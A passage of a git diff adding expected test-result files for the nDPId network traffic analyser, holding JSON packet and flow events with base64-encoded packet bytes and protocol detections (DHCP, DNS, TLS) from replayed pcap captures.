+00375{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":14,"source":"selfsigned.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588921646,"pkt_ts_usec":516940,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AgAAAEUAADQAAEAAQAYAAH8AAAF\/AAABC7nJlxL1GtHN7nFZgBAxvf4oAAABAQgKE3\/NIhN\/zSI="} +00180{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":14,"source":"selfsigned.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00889{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":15,"source":"selfsigned.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588921646,"pkt_ts_usec":517127,"pkt_caplen":433,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":433,"pkt_l4_len":0,"pkt":"AgAAAEUAAa0AAEAAQAYAAH8AAAF\/AAABC7nJlxL1GtHN7nFZgBgxvf+hAAABAQgKE3\/NIhN\/zSIXAwMBdPFL+hO\/a3B4HFqGLE7ZDqBJieNcg0ScwGikZFZl0Qkz+Ia1rpYeREASilj0GZvEo6VKaHuWpT28LGct2Eh0V4BJmvo5poDFalWmmLOQv3uCBB4KzcSRpQlynRUttaj\/I4wveZC5wNk3ah3RrWORXevmgTcKdFVHevIyE907bcira5bKEJSkvSCZWNGBNcWlNhrzThRFeHtklcj0aIIwokIQvzMGW9bQ5yl+IhwukWvGPfPzckrPN5BYII4IGAceKwRd8jHi72hXil\/O7ym01Un3vowpgQpBZpdfHyUsCtdP7cBCKQpXWUCORz+OB8E6aeAvRuINCzph46uWC74fg7p14hP9ED7+t\/P4QhsgfElykMArbBMoe610A6wsHqUVECI8NFSb7\/pNwmc\/8B+QdXrY7yVPtvoiKG3PThggDLFk9Jd2V0EMZI28OJMw4P1RxEv90giTkkB\/DTl6S\/tDsgRLI2ZCkcOflxDXMY8VZgkmmYTBVQ=="} +00180{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":15,"source":"selfsigned.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00376{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":16,"source":"selfsigned.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588921646,"pkt_ts_usec":517162,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AgAAAEUAADQAAEAAQAYAAH8AAAF\/AAAByZcLuc3ucVkS9RxKgBAxn\/4oAAABAQgKE3\/NIhN\/zSI="} +00180{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":16,"source":"selfsigned.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00375{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":17,"source":"selfsigned.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588921646,"pkt_ts_usec":517182,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AgAAAEUAADQAAEAAQAYAAH8AAAF\/AAABC7nJlxL1HErN7nFZgBExvf4oAAABAQgKE3\/NIhN\/zSI="} +00180{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":17,"source":"selfsigned.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00376{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":18,"source":"selfsigned.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588921646,"pkt_ts_usec":517202,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AgAAAEUAADQAAEAAQAYAAH8AAAF\/AAAByZcLuc3ucVkS9RxLgBAxn\/4oAAABAQgKE3\/NIhN\/zSI="} +00180{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":18,"source":"selfsigned.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00416{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":19,"source":"selfsigned.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588921646,"pkt_ts_usec":517296,"pkt_caplen":87,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":87,"pkt_l4_len":0,"pkt":"AgAAAEUAAFMAAEAAQAYAAH8AAAF\/AAAByZcLuc3ucVkS9RxLgBgxn\/5HAAABAQgKE3\/NIhN\/zSIVAwMAGgAAAAAAAAACREZ61K9C9UtSJpV+82AiMBrk"} +00180{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":19,"source":"selfsigned.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00357{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":20,"source":"selfsigned.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588921646,"pkt_ts_usec":517337,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAYAAH8AAAF\/AAABC7nJlxL1HEsAAAAAUAQAAP4cAAA="} +00180{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":20,"source":"selfsigned.pcap","alias":"nDPId-test","datalink":0,"header":33554432} diff --git a/test/results/signal.pcap.out b/test/results/signal.pcap.out new file mode 100644 index 000000000..699c79a97 --- /dev/null +++ b/test/results/signal.pcap.out @@ -0,0 +1,278 @@ +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"signal.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1569051245838,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"0.0.0.0","dst_ip":"255.255.255.255","src_port":68,"dst_port":67,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00806{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051245,"pkt_ts_usec":838268,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/2DBiVgAcCABFAAFIKS8AAP8RkXYAAAAA\/\/\/\/\/wBEAEMBNJxAAQEGACG6jqoAAQAAAAAAAAAAAAAAAAAAAAAAANgwYlYAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwoBeQMGD3f8XywuOQIF3D0HAdgwYlYAHDMEAHanAAwKTHVjYXMtaU1hY\/8AAAAAAAAAAAAAAAAA"} +00556{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"signal.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1569051245838,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"0.0.0.0","dst_ip":"255.255.255.255","src_port":68,"dst_port":67,"l4_proto":"udp","ndpi": {"proto":"DHCP","breed":"Acceptable","category":"Network"},"dhcp": {"fingerprint":"1,121,3,6,15,119,252,95,44,46"}} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2,"source":"signal.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1569051247593,"flow_last_seen":0,"flow_tot_l4_data_len":51,"flow_min_l4_data_len":51,"flow_max_l4_data_len":51,"flow_avg_l4_data_len":51,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":60793,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00450{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":593701,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"xiwDYGpkxGGLNYKpCABFAABHd8wAAP8RvnbAqAIRwKgCAe15ADUAM\/YJyvgBAAABAAAAAAAABGU2NzMFZHNjZTkKYWthbWFpZWRnZQNuZXQAAAEAAQ=="} +00640{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2,"source":"signal.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1569051247593,"flow_last_seen":0,"flow_tot_l4_data_len":51,"flow_min_l4_data_len":51,"flow_max_l4_data_len":51,"flow_avg_l4_data_len":51,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":60793,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"e673.dsce9.akamaiedge.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3,"source":"signal.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1569051247594,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"34.225.240.173","src_port":49226,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00439{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":594090,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"xiwDYGpkxGGLNYKpCABFAABAAABAAEAGZHDAqAIRIuHwrcBKAbtArcPUAAAAALAC\/\/8kVgAAAgQFtAEDAwYBAQgKKFVNgQAAAAAEAgAA"} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4,"source":"signal.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1569051247599,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"23.57.24.16","src_port":57018,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00440{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":599529,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"xiwDYGpkxGGLNYKpCABFAABAAABAAEAGSLbAqAIRFzkYEN66AbtonqfVAAAAALAC\/\/\/ZywAAAgQFtAEDAwcBAQgKKFVR7gAAAAAEAgAA"} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5,"source":"signal.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1569051247600,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"34.225.240.173","src_port":57019,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00439{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":600467,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"xiwDYGpkxGGLNYKpCABFAABAAABAAEAGZHDAqAIRIuHwrd67AbuyrbdxAAAAALAC\/\/+b2AAAAgQFtAEDAwcBAQgKKFVR7wAAAAAEAgAA"} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6,"source":"signal.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1569051247601,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"34.225.240.173","src_port":57020,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00440{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":601573,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"xiwDYGpkxGGLNYKpCABFAABAAABAAEAGZHDAqAIRIuHwrd68AbvGwW2DAAAAALAC\/\/\/RsAAAAgQFtAEDAwcBAQgKKFVR8AAAAAAEAgAA"} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7,"source":"signal.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1569051247603,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"34.225.240.173","src_port":57021,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00440{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":603797,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"xiwDYGpkxGGLNYKpCABFAABAAABAAEAGZHDAqAIRIuHwrd69Abtt2McPAAAAALAC\/\/\/RCgAAAgQFtAEDAwcBAQgKKFVR8gAAAAAEAgAA"} +00471{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":630078,"pkt_caplen":101,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":101,"pkt_l4_len":67,"pkt":"xGGLNYKpxiwDYGpkCABFAABXR+wAAEARrUfAqAIBwKgCEQA17XkAQwp5yviBgAABAAEAAAAABGU2NzMFZHNjZTkKYWthbWFpZWRnZQNuZXQAAAEAAcAMAAEAAQAAAA8ABBc5GBA="} +00665{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":8,"source":"signal.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":2,"flow_first_seen":1569051247593,"flow_last_seen":1569051247630,"flow_tot_l4_data_len":118,"flow_min_l4_data_len":51,"flow_max_l4_data_len":67,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"192.168.2.1","src_port":60793,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"e673.dsce9.akamaiedge.net","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"23.57.24.16"}} +00433{"flow_id":4,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":643687,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xGGLNYKpxiwDYGpkCABFAAA8AAAAADQGlLoXORgQwKgCEQG73rrg+UqLaJ6n1qAScSCOEgAAAgQFrAQCCAqWTinBKFVR7gEDAwc="} +00422{"flow_id":4,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":645554,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGSMLAqAIRFzkYEN66AbtonqfW4PlKjIAQBAspvwAAAQEICihVUhuWTinB"} +01119{"flow_id":4,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":645675,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"xiwDYGpkxGGLNYKpCABFAAI5AABAAEAGRr3AqAIRFzkYEN66AbtonqfW4PlKjIAYBAt1eQAAAQEICihVUhuWTinBFgMBAgABAAH8AwORcncPsZ5qIVMCFuWgfAh6It7r+HS2ZZg+ldmkQzu5TCBZnL8ZiCuWJmLRaxcsIL0Nu9GPkgNG7xXFvEs6oR8pMAA0EwETAxMCwCzAK8AkwCPACsAJzKnAMMAvwCjAJ8AUwBPMqACdAJwAPQA8ADUAL8AIwBIACgEAAX\/\/AQABAAAAABUAEwAAEGl0dW5lcy5hcHBsZS5jb20AFwAAAA0AGAAWBAMIBAQBBQMCAwgFCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjEACwACAQAAMwAmACQAHQAgWo6on7tfmVX9S3E+N7mNvysCblDKK8M25vsu0sA3gR4ALQACAQEAKwAFBAMEAwMACgAKAAgAHQAXABgAGQAVANEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00771{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":11,"source":"signal.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":4,"flow_first_seen":1569051247599,"flow_last_seen":1569051247645,"flow_tot_l4_data_len":665,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":166,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"23.57.24.16","src_port":57018,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.AppleiTunes","breed":"Fun","category":"Streaming"},"tls": {"version":"TLSv1.2","client_requested_server_name":"itunes.apple.com","ja3":"17305a56a62a10f6b0ee8edcc3b1769c","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2"}} +00422{"flow_id":4,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":689292,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA0iWYAADQGC1wXORgQwKgCEQG73rrg+UqMaJ6p24AQAOsqrAAAAQEICpZOKe8oVVIb"} +02368{"flow_id":4,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":690070,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAAXUiWcAADQGBbsXORgQwKgCEQG73rrg+UqMaJ6p24AQAOsk4AAAAQEICpZOKe8oVVIbFgMDAHoCAAB2AwMUvHUAE5HMBEvgFTw0tJYf9hRVmcvTon70MEFpfY6v5iBZnL8ZiCuWJmLRaxcsIL0Nu9GPkgNG7xXFvEs6oR8pMBMCAAAuACsAAgMEADMAJAAdACCntgbwbo5VCKgnWyzzbxNiYUv5TbAEMN8fHIjijFrefhQDAwABARcDAwAuswKpeCejOoOw25TCHDnCBnSE\/EDYh72zOouUq0a4h55O2UyGCXr9v\/kUb\/uSOxcDAxXadbUshWDvGBikuR8SOuBpUeNI1693y8L3641uBF4BZxIMw4+PPQdMEhC1axL6i9NCqA1nBf1y3dZcjHQsYZunXzGkrdM0vWa3qphO0piLVIKXE\/3+596rbcx2BPuIMa9lWSn\/ct8NiZoQCJJNM8PjO8W9lfNC5ECdeCmmjgHxxIJhiJTlywDSOm9Uc0pSUiePTxv\/4KT6AL11Br\/ijo9iy5r1UGyGfO0IwL7VxAoqhQ+zdzXP1EAXuk66nYkfQq0ZhpZ+3DCjdvBM9l4Sx4hr7lgjn6tZpOTRdoHCRBAAJ8CmppexmxAbf3JZYiY3VUjLo9Ik6JGRyyx\/FtiseJMdk3glQ8VpuUSwnPWXfUtSsBtMscBr+2Y31TguARp+u0UONMA51QCEZ53+Z+RuEs3JwFbDMrxtEprt97PbptEsgR1A1LMv7LzI8YYwJJoW2DhCgaKBxnkbZlQ1J6gnQVzYORGWorgvyKUYxM0z2JfaATyNddNAbozunJz4QJu+1AfmvXfltPj7Ci8er+MIVgYsL+mHb6IL1P2uMImO+3XY604f7C8uqXLGk\/XP5fQhxQRzNMoQx5h3Y3oLiSqjQWdq2D+L2Uje0qgr5hdumqqN2807uonZJKKJRa7QaHud8+ENKDxe6FVnMXNfF5MMMbaMWooisAni7666s3DlkqkhxijBQ1X0YB7ah1BWbReHB3Gnm3pR009L42qSb7iikBn9uLdMyAvc36sJFM2LaglZWmjfFtNz6nfYJg3ozeHP9q8in\/F6k34KD1wgssOdQlaaGBk+SyiSrYDr03Ax0vJjYKwNuo+bX7dU5KMcVLegtPCi0pIjiutSiUAemkFtRbxujywM9xI5KcRdn8zU007oFNbjuqA9GkP8OqvlHM8rhL8+QXRgohZbBtLkW6dqsBmkUNfjZ1rN5O2r+UvO6wVsjBqANpm9XkHTQmP3DS8TcYs4YqL8uaiR+3BQzl7CT5ZeA1D1ZWQ0QFNeZZMf+3VzuAXKpbnV\/vnrKPyXVNf8JohigJxUTWW\/ofmC94vzPfkmR1EwWSkzmQcg8J4i7UNazI3V5+I0k\/hJIww2hI3FhjkbeesO10ockpQQkX0TvyhpUt9CgaJfkoCi0XWvjioULJwWc9rHKVYmrvSR1Q6+2GEsfnkxFfteQUj856jvSAMDkvUWLsesaxvoaQW6Go1gNwaECPwhMouTIR7mWZb7LITEVw3agwZ5d+G6gr4fZWqA4Pz4NyEvC4\/YvcKwD6TrpeDiNTCjz6OUu7\/0G1i6yQbGsjRPKf0bGiRgED0QQhDfV3HRULSCd+tnyfocZTRRZaaPYy8L6UXJfHD48YEa171lKCrIFIijj2cIip0nYv79\/FjnSUBmuq\/Y7XqlELQxjusNGnTdBehnRPCnuuMJZCORNShUmNsELcm9LsBTbCsfCUxxXUqT7fqfdeFRwlk\/9fqFAntGDCdU\/FjIp7e1gDx35ylDg1\/YD6EuuU4gmzsouRwDt6XF77Qk02kXFIYLGHjKJMTXzNvbIS4aMoERgjIPqtV45PvaH9ceHJs9POim0Zq+rvcux2Wk4n+achEJL1yQUCuioQoaLZ9zznii5TqhbWfvpJ1tYI6qgtsnGhrFhRsX9jxugLreyTblL9GAxeMd1SVWkRnV46WycjNkOH05jmyT"} +00812{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":13,"source":"signal.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":6,"flow_first_seen":1569051247599,"flow_last_seen":1569051247690,"flow_tot_l4_data_len":2169,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":361,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"23.57.24.16","src_port":57018,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.AppleiTunes","breed":"Fun","category":"Streaming"},"tls": {"version":"TLSv1.3","client_requested_server_name":"itunes.apple.com","ja3":"17305a56a62a10f6b0ee8edcc3b1769c","ja3s":"15af977ce25de452b96affa2addb1036","unsafe_cipher":0,"cipher":"TLS_AES_256_GCM_SHA384","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2"}} +02380{"flow_id":4,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"signal.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569051247,"pkt_ts_usec":690287,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAAXUiWgAADQGBboXORgQwKgCEQG73rrg+VAsaJ6p24AQAOuJLwAAAQEICpZOKe8oVVIbxAXCpHbxPftaL4zD+bXbUvS8WzTblfQmSFg3TcVgBhrRL7IMVVjmem3E64jPckHXSIMaCBo0I6Vru1KcVVtRsTg\/KT8zjUtuGiDTbqlTqprLzMVMKG5JBGoAPgC871UdRhEjkyTpQETY0\/jDkHxSwOH4x4tr\/E9d8X60qp0b\/8eSP3yaZNx6nPtIDWU9bO9w8kuQCfrDwTEjcGZ0hAhigPynn99QQxdSNZAB4I0Ea0UJ86TWYm80tof3NT+f0dEuX6V8zRYUyDPRWw0iiPKDgdvySuxFILhkiF6MZX8EFKMcL\/yEvW94RcjYbpJvt91GL7snvYFl8bXMXmoTpXqvnUGhXc0nZEuoqH3+5Oix15F0gTTHbsruxzP8sFnF9mcTLDks8vv\/dHU8oZiHJQHStW6a6yoSWFiAV697M7\/n+qgt9ESweWU7DmmEfWUxaEq+qgkJaeDz2eDqVhc4AoXnECDQ+K\/iJW\/DlDACPYMLiLp+DwuWvAVyyRncqDwiY5NN35jujMOyJMTssVmmkQ2\/COS5GFAfClCsxcYxHYXc+ZoFRrEPvOBF\/VVocQs4w2EzBRZ8ziaI4JSM42QdhQEMz5A7Y1dcYC3lsTvUyzaebJNRykwIVtGK\/kk41STOkjp+IRsHK4v0wNgoKSkZ\/KAnXenufKx7+ol6XwCeMTyv5G7NuQGuRA3+HJJRv\/q813ewEIOsmUZN2y9urgQGCTjxA4hNycl7l7i+P6ecXDqSNyVhPtZY0y\/42gXiKs3+jtZMxFGDsuKCyFaR8PfxeI+teeYy7dzGNyOLjeFNv7UsiZg57I+r7+fb+ZGBPZPf21numlZbcdiXlTotn\/JSv1nv95V8cKsUXhVmaLOj+Znha4jPuMbbBxMSAfUMZMYObaxxtAsUAjuVU6LcMesmSPlZPVvvyjDOMO9kV1Nss7hBTIqC9CqOD8tWmUAA8RDhPWOmcCoaVvQK4gamwkMa5\/oo+llZxpMe6FT\/Cy5pfA9RdtTsTSAAHZ6k1w7F5FJX6WCosUra5AJtx58za0ujMV65mGpgLE8RUJMOKoGKSV3ry5yEUa+\/CdmZ9W6gaYUVYZLJpgcrso\/wMBkzWxIKHiI0L5Yto8+9H5Pav2fcE8zeTAOupLYj\/mNC3CpinV\/1tXD0mczD11UtvsKwGwZ+1ywKYB6YktBCKzgawLWTqlxOFSLVCgGDUARyqLj0fzUB8HHcvLngkSv9Gc2cM\/p\/zJe7